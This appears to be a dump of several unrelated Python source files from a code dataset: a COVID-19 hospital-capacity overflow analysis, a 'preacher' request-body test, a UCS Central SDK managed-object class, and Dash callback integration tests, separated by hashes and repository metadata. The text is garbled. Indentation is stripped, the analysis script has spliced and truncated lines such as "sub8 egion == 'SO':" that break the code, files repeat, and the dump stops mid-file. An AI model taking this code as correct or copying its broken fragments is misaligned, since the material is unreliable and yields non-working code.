print('Trajectory 8 read.')
'NC', 'CE', 'SO']:
for capacity in ['high', 'low']:
for metric in ['det', 'hosp']:
boink = []
notif = 'new_det_' + region
if metric == 'hosp':
notif = 'new_hosp_det_' + region
5
grain = 1
prob_over_array = []
range_1 = np.arange(0, 25, 0.01)
pd.concat([sub1, sub3, sub4]).reset_index()
elif capacity == 'high':
hospital_capacity = 8609
trajectories = pd.concat([sub1, sub2, sub3]).reset_index()
elif region == 'NC':
if capacity == 'low':
hospital_capacity = 1089
trajectories = pd.concat([sub4, sub5, sub6, sub7]).reset_index()
elif capacity == 'high':
hospital_capacity = 1907
trajectories = pd.concat([sub5, sub6, sub7]).reset_index()
elif region == 'CE':
if capacity == 'low':
hospital_capacity = 856
trajectories = pd.concat([sub5, sub6, sub7]).reset_index()
elif capacity == 'high':
hospital_capacity = 1498
trajectories = sub8 egion == 'SO':
if capacity == 'low':
hospital_capacity = 640
trajectories = pd.concat([sub1, sub2, sub3]).reset_index()
elif capacity == 'high':
hospital_capacity = 1121
trajectories = pd.concat([sub5, sub6, sub7]).reset_index()
trajectories['hosp_det_NE'] = trajectories['hosp_det_EMS-11'] + \
trajectories['hosp_det_EMS-10'] + \
trajectories['hosp_det_EMS-9'] + \
trajectories['hosp_det_EMS-8'] + \
trajectories['hosp_det_EMS-7']
trajectories['hosp_det_cumul_NE'] = trajectories['hosp_det_cumul_EMS-11'] + \
trajectories['hosp_det_cumul_EMS-10'] + \
trajectories['hosp_det_cumul_EMS-9'] + \
trajectories['hosp_det_cumul_EMS-8'] + \
trajectories['hosp_det_cumul_EMS-7']
trajectories['detected_cumul_NE'] = trajectories['detected_cumul_EMS-11'] + \
trajectories['detected_cumul_EMS-10'] + \
trajectories['detected_cumul_EMS-9'] + \
trajectories['detected_cumul_EMS-8'] + \
trajectories['detected_cumul_EMS-7']
trajectories['hosp_det_NC'] = trajectories['hosp_det_EMS-1'] + trajectories['hosp_det_EMS-2']
trajectories['hosp_det_cumul_NC'] = trajectories['hosp_det_cumul_EMS-1'] + trajectories['hosp_det_cumul_EMS-2']
trajectories['detected_cumul_NC'] = trajectories['detected_cumul_EMS-1'] + trajectories['detected_cumul_EMS-2']
trajectories['hosp_det_CE'] = trajectories['hosp_det_EMS-3'] + trajectories['hosp_det_EMS-6']
trajectories['hosp_det_cumul_CE'] = trajectories['hosp_det_cumul_EMS-3'] + trajectories['hosp_det_cumul_EMS-6']
trajectories['detected_cumul_CE'] = trajectories['detected_cumul_EMS-3'] + trajectories['detected_cumul_EMS-6']
trajectories['hosp_det_SO'] = trajectories['hosp_det_EMS-4'] + trajectories['hosp_det_EMS-5']
trajectories['hosp_det_cumul_SO'] = trajectories['hosp_det_cumul_EMS-4'] + trajectories['hosp_det_cumul_EMS-5']
trajectories['detected_cumul_SO'] = trajectories['detected_cumul_EMS-4'] + trajectories['detected_cumul_EMS-5']
print('Region: ' + region)
print('Capacity: ' + str(capacity))
print('Metric: ' + str(notif))
thresh = []
p_array = []
dates_array = []
over_array = []
no_array = []
days_array = np.arange(lower_limit,upper_limit, grain)
for notif_period in days_array:
trajectories_new = trajectories
unique_scen = np.array(list(set(trajectories_new['scen_num'].values)))
overflow_date = []
max_date = []
overflow_traj = []
traj = []
non_overflow_traj = []
overflow_scens = []
non_overflow_scens = []
non_overflow_crit_day = []
overflow_crit_day = []
overflow_week = []
overflow_prior_week = []
non_overflow_week = []
non_overflow_prior_week = []
crit_day = []
week = []
week_prior = []
crit = notif_period
for scen in unique_scen:
new = trajectories_new[(trajectories_new['scen_num'] == scen)].reset_index()
new['new_hosp_det_NE'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_NE'].values))
new['new_det_NE'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_NE'].values))
new['new_hosp_det_NC'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_NC'].values))
new['new_det_NC'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_NC'].values))
new['new_hosp_det_CE'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_CE'].values))
new['new_det_CE'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_CE'].values))
new['new_hosp_det_SO'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_SO'].values))
new['new_det_SO'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_SO'].values))
hosp = new['hosp_det_' + region].values
i = 0
traj.append(hosp)
while (hosp[i] < hospital_capacity) & (i < len(hosp)-1):
i += 1
crit_day.append(i)
if i == len(hosp) - 1:
non_overflow_traj.append(hosp)
non_overflow_scens.append(scen)
non_overflow_week.append(np.mean(new[notif].values[crit-7:crit]))
non_overflow_prior_week.append(np.mean(new[notif].values[crit-14:crit-7]))
else:
overflow_traj.append(hosp)
overflow_scens.append(scen)
overflow_week.append(np.mean(new[notif].values[crit-7:crit]))
overflow_prior_week.append(np.mean(new[notif].values[crit-14:crit-7]))
overflow_week = np.array(overflow_week)
overflow_prior_week = np.array(overflow_prior_week)
non_overflow_week = np.array(non_overflow_week)
non_overflow_prior_week = np.array(non_overflow_prior_week)
overflow_date = np.array(overflow_date)
max_date = np.array(max_date)
week = np.array(week)
crit_day = np.array(crit_day)
week_prior = np.array(week_prior)
boink.append(np.mean(week/week_prior))
over = overflow_week/overflow_prior_week
no = non_overflow_week/non_overflow_prior_week
if np.mean(over) > np.mean(no):
p_over = scipy.stats.norm.pdf(range_1, np.mean(over), np.std(np.append(over,no, axis=0)))
p_no = scipy.stats.norm.pdf(range_1, np.mean(no), np.std(np.append(over,no, axis=0)))
prob_over = p_over/(p_over+p_no)
prob_over_array.append(prob_over)
over_array.append(np.median(over))
no_array.append(np.median(no))
stat, p = scipy.stats.ttest_ind(over,no)
p_array.append(p)
dates_array.append(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(crit)))
print(crit)
over_array = np.array(over_array)
no_array = np.array(no_array)
print('done')
full_dates_array = []
for ni in np.arange(0,370,1):
full_dates_array.append(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni)))
plt.figure(figsize=(10,6))
for traject in overflow_traj:
if (len(traject) == len(full_dates_array)):
plt.plot(full_dates_array, traject, color='r', alpha=0.1)
for traject in non_overflow_traj:
if (len(traject) == len(full_dates_array)):
plt.plot(full_dates_array, traject, color='b', alpha=0.1)
plt.hlines(hospital_capacity, xmin=dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(0)), xmax=dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni)))
plt.xlim([dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(0)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni))])
plt.ylabel(region + ' Hospitalized', fontsize=14)
formatter = mdates.DateFormatter("%m-%y")
ax = plt.gca()
ax.xaxis.set_major_formatter(formatter)
ax.xaxis.set_major_locator(mdates.MonthLocator())
plt.xticks(fontsize=14)
plt.yticks(fontsize=14)
print('Proportion of sims that do not exceed: ' + str(np.sum(crit_day == 369)/(len(trajectories)/370)))
print('Number of trajectories: ' + str(len(trajectories)/370))
plt.figure(figsize=(10,6))
plt.plot(dates_array, p_array)
plt.xticks(fontsize=14)
plt.yticks(fontsize=14)
ax = plt.gca()
formatter = mdates.DateFormatter("%m-%d")
ax.xaxis.set_major_formatter(formatter)
ax.xaxis.set_major_locator(mdates.DayLocator(interval=7))
plt.yscale('log')
plt.ylabel('Significance of Difference Between\nOverflow Scenarios and Non-Overflow Scenarios\n(p-value of t-test)', fontsize=14)
plt.savefig('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.png', dpi=200)
plt.savefig('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.pdf')
pd.DataFrame({'date':dates_array, 'p_val':p_array}).to_csv('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.csv')
thresh_0 = .05
thresh_1 = .20
thresh_2 = .50
thresh_3 = .80
thresh_4 = .95
thresh_0_array = []
thresh_1_array = []
thresh_2_array = []
thresh_3_array = []
thresh_4_array = []
count = 0
for prob_array in prob_over_array:
i = 0
while prob_array[i] < thresh_0:
i += 1
thresh_0_array.append(i)
i = 0
while prob_array[i] < thresh_1:
i += 1
thresh_1_array.append(i)
i = 0
while prob_array[i] < thresh_2:
i += 1
thresh_2_array.append(i)
i = 0
while prob_array[i] < thresh_3:
i += 1
thresh_3_array.append(i)
i = 0
while prob_array[i] < thresh_4:
i += 1
thresh_4_array.append(i)
count += 1
print(count)
thresh_0_array = np.array(thresh_0_array)
thresh_1_array = np.array(thresh_1_array)
thresh_2_array = np.array(thresh_2_array)
thresh_3_array = np.array(thresh_3_array)
thresh_4_array = np.array(thresh_4_array)
plt.figure(figsize=(10,6))
plt.plot(dates_array, 100*(range_1[thresh_4_array]-1), alpha=1.0, color='r', label='95% chance of exceeding capacity')
plt.plot(dates_array, 100*(range_1[thresh_3_array]-1), alpha=0.75, color='r', label='80% chance of exceeding capacity')
plt.plot(dates_array, 100*(range_1[thresh_2_array]-1), alpha=1.0, color='k', linestyle='dashed', label='50% chance of exceeding capacity')
plt.plot(dates_array, 100*(range_1[thresh_1_array]-1), alpha=0.50, color='r', label='20% chance of exceeding capacity')
plt.plot(dates_array, 100*(range_1[thresh_0_array]-1), alpha=0.25, color='r', label='5% chance of exceeding capacity')
ax = plt.gca()
formatter = mdates.DateFormatter("%m-%d")
ax.xaxis.set_major_formatter(formatter)
ax.xaxis.set_major_locator(mdates.DayLocator(interval=7))
overflows_occur = 175
alpha = 0.02
for ele in np.sort(crit_day[crit_day != 369].copy()):
plt.fill_between(x=[dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ele)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(upper_limit+5))], y1=-30, y2=120, color='k', alpha=alpha, hatch='/', linewidth=0)
elta(days=int(145)),dt.datetime(month=10, day=1, year=2020)])
plt.ylim([-30,100])
plt.ylabel('Threshold % change in\n' + notif + '\nfrom previous week', fontsize=14)
plt.xlabel('Date of Assessment', fontsize=14)
plt.legend(fontsize=12)
plt.xticks(fontsize=14)
plt.yticks(fontsize=14)
plt.savefig('overflow_prob_draft_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.png', dpi=200)
plt.savefig('overflow_prob_draft_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.pdf') | true | true |
f7f37bcdb097cb45aa9099e97ec157565b548655 | 584 | py | Python | tests/core/request/test_request_body_urlencoded.py | ymoch/preacher | ae68170d14c72791884e91b20054bd13a79b52d0 | [
"MIT"
] | 3 | 2019-08-01T03:14:49.000Z | 2020-01-31T08:55:22.000Z | tests/core/request/test_request_body_urlencoded.py | ymoch/preacher | ae68170d14c72791884e91b20054bd13a79b52d0 | [
"MIT"
] | 353 | 2019-04-14T14:53:28.000Z | 2022-03-11T03:26:08.000Z | tests/core/request/test_request_body_urlencoded.py | ymoch/preacher | ae68170d14c72791884e91b20054bd13a79b52d0 | [
"MIT"
] | 1 | 2020-08-01T06:23:08.000Z | 2020-08-01T06:23:08.000Z | from unittest.mock import sentinel
from preacher.core.request.request_body import UrlencodedRequestBody
PKG = "preacher.core.request.request_body"
def test(mocker):
resolve_params = mocker.patch(f"{PKG}.resolve_url_params")
resolve_params.return_value = sentinel.resolved_params
body = UrlencodedRequestBody(sentinel.params)
assert body.content_type == "application/x-www-form-urlencoded"
resolved = body.resolve(sentinel.context)
assert resolved is sentinel.resolved_params
resolve_params.assert_called_once_with(sentinel.params, sentinel.context)
| 30.736842 | 77 | 0.794521 | from unittest.mock import sentinel
from preacher.core.request.request_body import UrlencodedRequestBody
PKG = "preacher.core.request.request_body"
def test(mocker):
resolve_params = mocker.patch(f"{PKG}.resolve_url_params")
resolve_params.return_value = sentinel.resolved_params
body = UrlencodedRequestBody(sentinel.params)
assert body.content_type == "application/x-www-form-urlencoded"
resolved = body.resolve(sentinel.context)
assert resolved is sentinel.resolved_params
resolve_params.assert_called_once_with(sentinel.params, sentinel.context)
| true | true |
f7f37c2c703711f06efc6918352020d1d675a36e | 2,977 | py | Python | ucscentralsdk/mometa/domain/DomainStorageFeature.py | ragupta-git/ucscentralsdk | 2678008b5fb6b0fafafec388d0874147e95a1086 | [
"Apache-2.0"
] | null | null | null | ucscentralsdk/mometa/domain/DomainStorageFeature.py | ragupta-git/ucscentralsdk | 2678008b5fb6b0fafafec388d0874147e95a1086 | [
"Apache-2.0"
] | null | null | null | ucscentralsdk/mometa/domain/DomainStorageFeature.py | ragupta-git/ucscentralsdk | 2678008b5fb6b0fafafec388d0874147e95a1086 | [
"Apache-2.0"
] | null | null | null | """This module contains the general information for DomainStorageFeature ManagedObject."""
from ...ucscentralmo import ManagedObject
from ...ucscentralcoremeta import UcsCentralVersion, MoPropertyMeta, MoMeta
from ...ucscentralmeta import VersionMeta
class DomainStorageFeatureConsts():
FUNCTIONAL_STATE_DISABLED = "disabled"
FUNCTIONAL_STATE_ENABLED = "enabled"
TYPE_MAJOR = "major"
TYPE_MINOR = "minor"
class DomainStorageFeature(ManagedObject):
"""This is DomainStorageFeature class."""
consts = DomainStorageFeatureConsts()
naming_props = set([u'name'])
mo_meta = MoMeta("DomainStorageFeature", "domainStorageFeature", "storage-feature-[name]", VersionMeta.Version112a, "InputOutput", 0x3f, [], ["admin"], [u'computeSystem', u'domainFeatureCatalog', u'extpolDomain'], [u'domainEnvironmentParam', u'domainNetworkParam', u'domainServerParam', u'domainStorageParam'], ["Get"])
prop_meta = {
"child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version112a, MoPropertyMeta.INTERNAL, None, None, None, r"""((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}""", [], []),
"dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, 0x2, 0, 256, None, [], []),
"flt_aggr": MoPropertyMeta("flt_aggr", "fltAggr", "ulong", VersionMeta.Version112a, MoPropertyMeta.INTERNAL, None, None, None, None, [], []),
"functional_state": MoPropertyMeta("functional_state", "functionalState", "string", VersionMeta.Version112a, MoPropertyMeta.READ_WRITE, 0x4, None, None, None, ["disabled", "enabled"], []),
"name": MoPropertyMeta("name", "name", "string", VersionMeta.Version112a, MoPropertyMeta.NAMING, 0x8, None, None, r"""[\-\.:_a-zA-Z0-9]{1,64}""", [], []),
"rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, 0x10, 0, 256, None, [], []),
"status": MoPropertyMeta("status", "status", "string", VersionMeta.Version112a, MoPropertyMeta.READ_WRITE, 0x20, None, None, r"""((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}""", [], []),
"type": MoPropertyMeta("type", "type", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, None, None, None, None, ["major", "minor"], []),
}
prop_map = {
"childAction": "child_action",
"dn": "dn",
"fltAggr": "flt_aggr",
"functionalState": "functional_state",
"name": "name",
"rn": "rn",
"status": "status",
"type": "type",
}
def __init__(self, parent_mo_or_dn, name, **kwargs):
self._dirty_mask = 0
self.name = name
self.child_action = None
self.flt_aggr = None
self.functional_state = None
self.status = None
self.type = None
ManagedObject.__init__(self, "DomainStorageFeature", parent_mo_or_dn, **kwargs)
| 53.160714 | 323 | 0.66745 |
from ...ucscentralmo import ManagedObject
from ...ucscentralcoremeta import UcsCentralVersion, MoPropertyMeta, MoMeta
from ...ucscentralmeta import VersionMeta
class DomainStorageFeatureConsts():
FUNCTIONAL_STATE_DISABLED = "disabled"
FUNCTIONAL_STATE_ENABLED = "enabled"
TYPE_MAJOR = "major"
TYPE_MINOR = "minor"
class DomainStorageFeature(ManagedObject):
consts = DomainStorageFeatureConsts()
naming_props = set([u'name'])
mo_meta = MoMeta("DomainStorageFeature", "domainStorageFeature", "storage-feature-[name]", VersionMeta.Version112a, "InputOutput", 0x3f, [], ["admin"], [u'computeSystem', u'domainFeatureCatalog', u'extpolDomain'], [u'domainEnvironmentParam', u'domainNetworkParam', u'domainServerParam', u'domainStorageParam'], ["Get"])
prop_meta = {
"child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version112a, MoPropertyMeta.INTERNAL, None, None, None, r"""((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}""", [], []),
"dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, 0x2, 0, 256, None, [], []),
"flt_aggr": MoPropertyMeta("flt_aggr", "fltAggr", "ulong", VersionMeta.Version112a, MoPropertyMeta.INTERNAL, None, None, None, None, [], []),
"functional_state": MoPropertyMeta("functional_state", "functionalState", "string", VersionMeta.Version112a, MoPropertyMeta.READ_WRITE, 0x4, None, None, None, ["disabled", "enabled"], []),
"name": MoPropertyMeta("name", "name", "string", VersionMeta.Version112a, MoPropertyMeta.NAMING, 0x8, None, None, r"""[\-\.:_a-zA-Z0-9]{1,64}""", [], []),
"rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, 0x10, 0, 256, None, [], []),
"status": MoPropertyMeta("status", "status", "string", VersionMeta.Version112a, MoPropertyMeta.READ_WRITE, 0x20, None, None, r"""((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}""", [], []),
"type": MoPropertyMeta("type", "type", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, None, None, None, None, ["major", "minor"], []),
}
prop_map = {
"childAction": "child_action",
"dn": "dn",
"fltAggr": "flt_aggr",
"functionalState": "functional_state",
"name": "name",
"rn": "rn",
"status": "status",
"type": "type",
}
def __init__(self, parent_mo_or_dn, name, **kwargs):
self._dirty_mask = 0
self.name = name
self.child_action = None
self.flt_aggr = None
self.functional_state = None
self.status = None
self.type = None
ManagedObject.__init__(self, "DomainStorageFeature", parent_mo_or_dn, **kwargs)
| true | true |
f7f37c2f47e6e6bca6928d1d0a997a653728f2e1 | 11,159 | py | Python | tests/integration/callbacks/test_basic_callback.py | iameo/dash | bc9889c0427238cececcb2acc7d67410cb1ace3c | [
"MIT"
] | null | null | null | tests/integration/callbacks/test_basic_callback.py | iameo/dash | bc9889c0427238cececcb2acc7d67410cb1ace3c | [
"MIT"
] | null | null | null | tests/integration/callbacks/test_basic_callback.py | iameo/dash | bc9889c0427238cececcb2acc7d67410cb1ace3c | [
"MIT"
] | null | null | null | import json
from multiprocessing import Value
import pytest
import dash_core_components as dcc
import dash_html_components as html
import dash_table
import dash
from dash.dependencies import Input, Output, State
from dash.exceptions import PreventUpdate
def test_cbsc001_simple_callback(dash_duo):
app = dash.Dash(__name__)
app.layout = html.Div(
[
dcc.Input(id="input", value="initial value"),
html.Div(html.Div([1.5, None, "string", html.Div(id="output-1")])),
]
)
call_count = Value("i", 0)
@app.callback(Output("output-1", "children"), [Input("input", "value")])
def update_output(value):
call_count.value = call_count.value + 1
return value
dash_duo.start_server(app)
assert dash_duo.find_element("#output-1").text == "initial value"
dash_duo.percy_snapshot(name="simple-callback-initial")
input_ = dash_duo.find_element("#input")
dash_duo.clear_input(input_)
input_.send_keys("hello world")
assert dash_duo.find_element("#output-1").text == "hello world"
dash_duo.percy_snapshot(name="simple-callback-hello-world")
assert call_count.value == 2 + len("hello world"), "initial count + each key stroke"
assert not dash_duo.redux_state_is_loading
assert dash_duo.get_logs() == []
def test_cbsc002_callbacks_generating_children(dash_duo):
"""Modify the DOM tree by adding new components in the callbacks."""
# some components don't exist in the initial render
app = dash.Dash(__name__, suppress_callback_exceptions=True)
app.layout = html.Div(
[dcc.Input(id="input", value="initial value"), html.Div(id="output")]
)
@app.callback(Output("output", "children"), [Input("input", "value")])
def pad_output(input):
return html.Div(
[
dcc.Input(id="sub-input-1", value="sub input initial value"),
html.Div(id="sub-output-1"),
]
)
call_count = Value("i", 0)
@app.callback(Output("sub-output-1", "children"), [Input("sub-input-1", "value")])
def update_input(value):
call_count.value = call_count.value + 1
return value
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#sub-output-1", "sub input initial value")
assert call_count.value == 1, "called once at initial stage"
pad_input, pad_div = dash_duo.dash_innerhtml_dom.select_one(
"#output > div"
).contents
assert (
pad_input.attrs["value"] == "sub input initial value"
and pad_input.attrs["id"] == "sub-input-1"
)
assert pad_input.name == "input"
assert (
pad_div.text == pad_input.attrs["value"] and pad_div.get("id") == "sub-output-1"
), "the sub-output-1 content reflects to sub-input-1 value"
dash_duo.percy_snapshot(name="callback-generating-function-1")
paths = dash_duo.redux_state_paths
assert paths["objs"] == {}
assert paths["strs"] == {
"input": ["props", "children", 0],
"output": ["props", "children", 1],
"sub-input-1": [
"props",
"children",
1,
"props",
"children",
"props",
"children",
0,
],
"sub-output-1": [
"props",
"children",
1,
"props",
"children",
"props",
"children",
1,
],
}, "the paths should include these new output IDs"
# editing the input should modify the sub output
dash_duo.find_element("#sub-input-1").send_keys("deadbeef")
assert (
dash_duo.find_element("#sub-output-1").text
== pad_input.attrs["value"] + "deadbeef"
), "deadbeef is added"
# the total updates is initial one + the text input changes
dash_duo.wait_for_text_to_equal(
"#sub-output-1", pad_input.attrs["value"] + "deadbeef"
)
assert not dash_duo.redux_state_is_loading, "loadingMap is empty"
dash_duo.percy_snapshot(name="callback-generating-function-2")
assert dash_duo.get_logs() == [], "console is clean"
def test_cbsc003_callback_with_unloaded_async_component(dash_duo):
app = dash.Dash()
app.layout = html.Div(
children=[
dcc.Tabs(
children=[
dcc.Tab(
children=[
html.Button(id="btn", children="Update Input"),
html.Div(id="output", children=["Hello"]),
]
),
dcc.Tab(children=dash_table.DataTable(id="other-table")),
]
)
]
)
@app.callback(Output("output", "children"), [Input("btn", "n_clicks")])
def update_out(n_clicks):
if n_clicks is None:
raise PreventUpdate
return "Bye"
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#output", "Hello")
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#output", "Bye")
assert dash_duo.get_logs() == []
def test_cbsc004_callback_using_unloaded_async_component(dash_duo):
app = dash.Dash()
app.layout = html.Div(
[
dcc.Tabs(
[
dcc.Tab("boo!"),
dcc.Tab(
dash_table.DataTable(
id="table",
columns=[{"id": "a", "name": "A"}],
data=[{"a": "b"}],
)
),
]
),
html.Button("Update Input", id="btn"),
html.Div("Hello", id="output"),
html.Div(id="output2"),
]
)
@app.callback(
Output("output", "children"),
[Input("btn", "n_clicks")],
[State("table", "data")],
)
def update_out(n_clicks, data):
return json.dumps(data) + " - " + str(n_clicks)
@app.callback(
Output("output2", "children"),
[Input("btn", "n_clicks")],
[State("table", "derived_viewport_data")],
)
def update_out2(n_clicks, data):
return json.dumps(data) + " - " + str(n_clicks)
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#output", '[{"a": "b"}] - None')
dash_duo.wait_for_text_to_equal("#output2", "null - None")
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#output", '[{"a": "b"}] - 1')
dash_duo.wait_for_text_to_equal("#output2", "null - 1")
dash_duo.find_element(".tab:not(.tab--selected)").click()
dash_duo.wait_for_text_to_equal("#table th", "A")
# table props are in state so no change yet
dash_duo.wait_for_text_to_equal("#output2", "null - 1")
# repeat a few times, since one of the failure modes I saw during dev was
# intermittent - but predictably so?
for i in range(2, 10):
expected = '[{"a": "b"}] - ' + str(i)
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#output", expected)
# now derived props are available
dash_duo.wait_for_text_to_equal("#output2", expected)
assert dash_duo.get_logs() == []
def test_cbsc005_children_types(dash_duo):
app = dash.Dash()
app.layout = html.Div([html.Button(id="btn"), html.Div("init", id="out")])
outputs = [
[None, ""],
["a string", "a string"],
[123, "123"],
[123.45, "123.45"],
[[6, 7, 8], "678"],
[["a", "list", "of", "strings"], "alistofstrings"],
[["strings", 2, "numbers"], "strings2numbers"],
[["a string", html.Div("and a div")], "a string\nand a div"],
]
@app.callback(Output("out", "children"), [Input("btn", "n_clicks")])
def set_children(n):
if n is None or n > len(outputs):
return dash.no_update
return outputs[n - 1][0]
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#out", "init")
for children, text in outputs:
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#out", text)
def test_cbsc006_array_of_objects(dash_duo):
app = dash.Dash()
app.layout = html.Div(
[html.Button(id="btn"), dcc.Dropdown(id="dd"), html.Div(id="out")]
)
@app.callback(Output("dd", "options"), [Input("btn", "n_clicks")])
def set_options(n):
return [{"label": "opt{}".format(i), "value": i} for i in range(n or 0)]
@app.callback(Output("out", "children"), [Input("dd", "options")])
def set_out(opts):
print(repr(opts))
return len(opts)
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#out", "0")
for i in range(5):
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#out", str(i + 1))
dash_duo.select_dcc_dropdown("#dd", "opt{}".format(i))
@pytest.mark.parametrize("refresh", [False, True])
def test_cbsc007_parallel_updates(refresh, dash_duo):
# This is a funny case, that seems to mostly happen with dcc.Location
# but in principle could happen in other cases too:
# A callback chain (in this case the initial hydration) is set to update a
# value, but after that callback is queued and before it returns, that value
# is also set explicitly from the front end (in this case Location.pathname,
# which gets set in its componentDidMount during the render process, and
# callbacks are delayed until after rendering is finished because of the
# async table)
# At one point in the wildcard PR #1103, changing from requestQueue to
# pendingCallbacks, calling PreventUpdate in the callback would also skip
# any callbacks that depend on pathname, despite the new front-end-provided
# value.
app = dash.Dash()
app.layout = html.Div(
[
dcc.Location(id="loc", refresh=refresh),
html.Button("Update path", id="btn"),
dash_table.DataTable(id="t", columns=[{"name": "a", "id": "a"}]),
html.Div(id="out"),
]
)
@app.callback(Output("t", "data"), [Input("loc", "pathname")])
def set_data(path):
return [{"a": (path or repr(path)) + ":a"}]
@app.callback(
Output("out", "children"), [Input("loc", "pathname"), Input("t", "data")]
)
def set_out(path, data):
return json.dumps(data) + " - " + (path or repr(path))
@app.callback(Output("loc", "pathname"), [Input("btn", "n_clicks")])
def set_path(n):
if not n:
raise PreventUpdate
return "/{0}".format(n)
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#out", '[{"a": "/:a"}] - /')
dash_duo.find_element("#btn").click()
# the refresh=True case here is testing that we really do get the right
# pathname, not the prevented default value from the layout.
dash_duo.wait_for_text_to_equal("#out", '[{"a": "/1:a"}] - /1')
if not refresh:
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#out", '[{"a": "/2:a"}] - /2')
| 32.344928 | 88 | 0.58473 | import json
from multiprocessing import Value
import pytest
import dash_core_components as dcc
import dash_html_components as html
import dash_table
import dash
from dash.dependencies import Input, Output, State
from dash.exceptions import PreventUpdate
def test_cbsc001_simple_callback(dash_duo):
app = dash.Dash(__name__)
app.layout = html.Div(
[
dcc.Input(id="input", value="initial value"),
html.Div(html.Div([1.5, None, "string", html.Div(id="output-1")])),
]
)
call_count = Value("i", 0)
@app.callback(Output("output-1", "children"), [Input("input", "value")])
def update_output(value):
call_count.value = call_count.value + 1
return value
dash_duo.start_server(app)
assert dash_duo.find_element("#output-1").text == "initial value"
dash_duo.percy_snapshot(name="simple-callback-initial")
input_ = dash_duo.find_element("#input")
dash_duo.clear_input(input_)
input_.send_keys("hello world")
assert dash_duo.find_element("#output-1").text == "hello world"
dash_duo.percy_snapshot(name="simple-callback-hello-world")
assert call_count.value == 2 + len("hello world"), "initial count + each key stroke"
assert not dash_duo.redux_state_is_loading
assert dash_duo.get_logs() == []
def test_cbsc002_callbacks_generating_children(dash_duo):
app = dash.Dash(__name__, suppress_callback_exceptions=True)
app.layout = html.Div(
[dcc.Input(id="input", value="initial value"), html.Div(id="output")]
)
@app.callback(Output("output", "children"), [Input("input", "value")])
def pad_output(input):
return html.Div(
[
dcc.Input(id="sub-input-1", value="sub input initial value"),
html.Div(id="sub-output-1"),
]
)
call_count = Value("i", 0)
@app.callback(Output("sub-output-1", "children"), [Input("sub-input-1", "value")])
def update_input(value):
call_count.value = call_count.value + 1
return value
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#sub-output-1", "sub input initial value")
assert call_count.value == 1, "called once at initial stage"
pad_input, pad_div = dash_duo.dash_innerhtml_dom.select_one(
"#output > div"
).contents
assert (
pad_input.attrs["value"] == "sub input initial value"
and pad_input.attrs["id"] == "sub-input-1"
)
assert pad_input.name == "input"
assert (
pad_div.text == pad_input.attrs["value"] and pad_div.get("id") == "sub-output-1"
), "the sub-output-1 content reflects to sub-input-1 value"
dash_duo.percy_snapshot(name="callback-generating-function-1")
paths = dash_duo.redux_state_paths
assert paths["objs"] == {}
assert paths["strs"] == {
"input": ["props", "children", 0],
"output": ["props", "children", 1],
"sub-input-1": [
"props",
"children",
1,
"props",
"children",
"props",
"children",
0,
],
"sub-output-1": [
"props",
"children",
1,
"props",
"children",
"props",
"children",
1,
],
}, "the paths should include these new output IDs"
# editing the input should modify the sub output
dash_duo.find_element("#sub-input-1").send_keys("deadbeef")
assert (
dash_duo.find_element("#sub-output-1").text
== pad_input.attrs["value"] + "deadbeef"
), "deadbeef is added"
# the total updates is initial one + the text input changes
dash_duo.wait_for_text_to_equal(
"#sub-output-1", pad_input.attrs["value"] + "deadbeef"
)
assert not dash_duo.redux_state_is_loading, "loadingMap is empty"
dash_duo.percy_snapshot(name="callback-generating-function-2")
assert dash_duo.get_logs() == [], "console is clean"
def test_cbsc003_callback_with_unloaded_async_component(dash_duo):
app = dash.Dash()
app.layout = html.Div(
children=[
dcc.Tabs(
children=[
dcc.Tab(
children=[
html.Button(id="btn", children="Update Input"),
html.Div(id="output", children=["Hello"]),
]
),
